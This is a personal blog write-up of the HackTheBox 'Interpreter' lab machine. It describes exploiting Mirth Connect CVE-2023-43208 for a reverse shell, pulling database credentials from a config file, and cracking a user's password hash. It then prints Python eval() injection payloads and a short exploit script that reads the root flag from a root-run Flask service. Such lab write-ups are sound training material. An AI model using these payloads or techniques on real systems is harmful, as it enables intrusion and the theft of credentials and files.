Interpreter Writeup (HackTheBox Medium Machine)

Post Cover

This is my first medium machine ever pwned.

Overview :

Interpreter is a medium-rated HackTheBox machine that exploits a CVE in Mirth Connect healthcare integration platform as well as a Python eval() injection vulnerability in a Flask notification service running as root.

overview

Reconnaissance

Quick naabu scan to enumerate ports :

overview

then nmap :

overview

The IP address redirects to /webadmin/Index.action and this is the first dashboard.

overview

The “Download Administrator Launcher” redirects to a Bash Script saved on an AWS S3 bucket (https://s3.amazonaws.com/downloads.mirthcorp.com/connect-client-launcher/mirth-administrator-launcher-latest-unix.sh) , wheras the “Access Secure Site” simply takes us to a login dashboard.

overview

Mirth Connect ?

Mirth Connect is an open-source healthcare integration engine that enables different medical systems to communicate with each other, even if they use different file formats.

The only thing that caught my attention so far is the release year : 2021 .
I went and checked the versions for potential CVEs, and hit the jackpot :

overview
The latest 2021 version of Mirth is prone to CVE-2023-43208: a critical (9.8/10) unauthenticated remote code execution (RCE) on systems running the vulnerable software versions.

CVE-2023-43208

I checked a couple of PoCs online, ended up using a slightly modified version of the latter (nc instead of pwncat-cs for the listener) you can check it here :
https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT/tree/main

overview

And we have a revshell as user mirth :

overview

I could locate the /usr/local/mirthconnect/conf/mirth.properties file and it contained credentials to the mc_bdd_prod local database :

overview

DB credentials :
overview

View of the tables :

overview

title:mc_bdd_prod
1
2
SELECT * FROM PERSON;
SELECT * FROM PERSON_PASSWORD;

Checking the PERSON and PERSON_PASSWORD tables reveal the user sedric and his hashed password : u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

overview

USER ACCESS

Did some research and here are the findings about the hash :

  • Algorithm: PBKDF2-HMAC-SHA256
  • Salt: 8 bytes (embedded in hash)

Cracking with Hashcat : sedric:snowflake1
And finally SSH :

overview

Privilege Escalation

Tried some manual checks (sudo -l , capabilities ..), but the interesting one was enumerating internal services :
overview
A service running on port 54321 caught my eye, port forwarded it to my machine, nothing.
More digging.
Enumerated processes running as root and immediately a Python script stood out :

root 3488 0.0 0.7 39872 31160 ? Ss 06:11 0:01 /usr/bin/python3 /usr/local/bin/notif.py

This Python Flask application is a notification service that accepts XML patient data via POST requests and formats it using a custom template function.

The critical flaw was in how it handled template rendering—the code used eval(f"f'''{template}'''") to process an f-string containing user-controlled variables.

title:Vulnerable Code
1
2
3
4
5
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
# ... validation ...
template = f"Patient {first} {last} ({gender}), {​{datetime.now().year - year_of_birth}​} years old, received from {sender} at {ts}"
return eval(f"f'''{template}'''")

I encountered many sanitizations to spaces, commas, dollar signs and a bunch of other characters, and ran many tests before actually getting my hands on the flag.

Some Successful Tests

{1+1} # Returns: 2 ✓
{str(123)} # Returns: 123 ✓

{import(‘os’)} # Returns: <module ‘os’> ✓

{import(‘os’).system(‘id’)} # Returns: 0 (success) ✓

{import(‘pathlib’).Path(‘/tmp/test’).write_text(‘hello’)} # Returns: 5 ✓

Exploit

Use pathlib.Path().read_text() and write_text() to copy the root flag without needing commas or spaces in the Python expression itself.

title:Root Exploit
1
2
3
4
#!/usr/bin/env python3 
import requests
payload = "<patient><firstname>A</firstname><lastname>B</lastname><sender_app>{__import__('pathlib').Path('/tmp/flag.txt').write_text(__import__('pathlib').Path('/root/root.txt').read_text())}</sender_app><timestamp>2025</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>" r = requests.post('http://127.0.0.1:54321/addPatient', data=payload)
print("Copy flag:", r.text)

overview

Now I technically didn’t get a root shell (I tried I promise) but this method got the job done.

Rating

Exciting because my first ever medium machine, the root looked straight forward but turned out to be a bit tricky.
4 stars.
⭐⭐⭐⭐

IconPlease share with your friends !
Thanks for reading !
This work is published by Beylessen Jendoubi at 2026-05-30 22:39:23
Link: Interpreter Writeup (HackTheBox Medium Machine)
This work is licensed under CC BY-NC-SA 4.0. Please indicate Beylessen's Blog when reprinting.
Logo